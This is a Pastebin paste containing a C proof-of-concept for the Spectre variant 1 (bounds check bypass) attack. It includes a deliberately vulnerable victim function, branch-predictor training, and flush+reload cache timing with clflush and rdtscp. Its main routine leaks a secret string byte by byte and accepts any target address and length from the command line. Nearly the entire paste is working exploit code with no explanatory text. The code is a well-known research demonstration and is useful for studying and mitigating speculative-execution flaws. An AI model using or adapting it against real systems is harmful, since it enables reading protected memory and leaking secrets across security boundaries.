Guest User

Untitled

a guest
Jan 19th, 2018
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.57 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #ifdef _MSC_VER
  5. #include <intrin.h> /* for rdtscp and clflush */
  6. #pragma optimize("gt",on)
  7. #else
  8. #include <x86intrin.h> /* for rdtscp and clflush */
  9. #endif
  10.  
  11. /********************************************************************
  12. Victim code.
  13. ********************************************************************/
  14. unsigned int array1_size = 16;
  15. uint8_t unused1[64];
  16. uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
  17. uint8_t unused2[64];
  18. uint8_t array2[256 * 512];
  19.  
  20. char *secret = "The Magic Words are Squeamish Ossifrage.";
  21.  
  22. uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */
  23.  
  24. void victim_function(size_t x) {
  25. if (x < array1_size) {
  26. temp &= array2[array1[x] * 512];
  27. }
  28. }
  29.  
  30.  
  31. /********************************************************************
  32. Analysis code
  33. ********************************************************************/
  34. #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
  35.  
  36. /* Report best guess in value[0] and runner-up in value[1] */
  37. void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  38. static int results[256];
  39. int tries, i, j, k, mix_i = 0;
  40. unsigned int junk = 0; // int was not working - @mkagenius
  41. size_t training_x, x;
  42. register uint64_t time1, time2;
  43. volatile uint8_t *addr;
  44.  
  45. for (i = 0; i < 256; i++)
  46. results[i] = 0;
  47. for (tries = 999; tries > 0; tries--) {
  48.  
  49. /* Flush array2[256*(0..255)] from cache */
  50. for (i = 0; i < 256; i++)
  51. _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
  52.  
  53. /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
  54. training_x = tries % array1_size;
  55. for (j = 29; j >= 0; j--) {
  56. _mm_clflush(&array1_size);
  57. for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
  58.  
  59. /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
  60. /* Avoid jumps in case those tip off the branch predictor */
  61. x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
  62. x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
  63. x = training_x ^ (x & (malicious_x ^ training_x));
  64.  
  65. /* Call the victim! */
  66. victim_function(x);
  67.  
  68. }
  69.  
  70. /* Time reads. Order is lightly mixed up to prevent stride prediction */
  71. for (i = 0; i < 256; i++) {
  72. mix_i = ((i * 167) + 13) & 255;
  73. addr = &array2[mix_i * 512];
  74. time1 = __rdtscp(&junk); /* READ TIMER */
  75. junk = *addr; /* MEMORY ACCESS TO TIME */
  76. time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
  77. if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
  78. results[mix_i]++; /* cache hit - add +1 to score for this value */
  79. }
  80.  
  81. /* Locate highest & second-highest results results tallies in j/k */
  82. j = k = -1;
  83. for (i = 0; i < 256; i++) {
  84. if (j < 0 || results[i] >= results[j]) {
  85. k = j;
  86. j = i;
  87. } else if (k < 0 || results[i] >= results[k]) {
  88. k = i;
  89. }
  90. }
  91. if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
  92. break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  93. }
  94. results[0] ^= junk; /* use junk so code above won't get optimized out*/
  95. value[0] = (uint8_t)j;
  96. score[0] = results[j];
  97. value[1] = (uint8_t)k;
  98. score[1] = results[k];
  99. }
  100.  
  101. int main(int argc, const char **argv) {
  102. size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
  103. int i, score[2], len=40;
  104. uint8_t value[2];
  105.  
  106. for (i = 0; i < sizeof(array2); i++)
  107. array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  108. if (argc == 3) {
  109. sscanf(argv[1], "%p", (void**)(&malicious_x));
  110. malicious_x -= (size_t)array1; /* Convert input value into a pointer */
  111. sscanf(argv[2], "%d", &len);
  112. }
  113.  
  114. printf("Reading %d bytes:\n", len);
  115. while (--len >= 0) {
  116. printf("Reading at malicious_x = %p... ", (void*)malicious_x);
  117. readMemoryByte(malicious_x++, value, score);
  118. printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
  119. printf("0x%02X='%c' score=%d ", value[0],
  120. (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
  121. if (score[1] > 0)
  122. printf("(second best: 0x%02X score=%d)", value[1], score[1]);
  123. printf("\n");
  124. }
  125. return (0);
  126. }
Add Comment
Please, Sign In to add comment